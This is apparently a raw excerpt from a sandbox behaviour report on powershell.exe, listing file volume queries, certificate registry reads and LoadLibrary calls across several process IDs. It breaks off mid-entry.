00000000-00002344-00000C17-1276940674 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002344-00000C17-1278970846 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00002344-00000C17-1279298739 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00002344-00000C17-1279445428 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00002344-00000C17-1279467649 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002344-00000C17-1279539677 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002344-00000C17-1279551623 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002344-00000C17-1279551850 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00002344-00000C17-1280368813 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002344-00000C17-1280486605 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002344-00000C17-128049500837:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")38:T8e9b,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000796) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002344) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004816) "powershell.exe" called "LoadLibrary" with a parameter 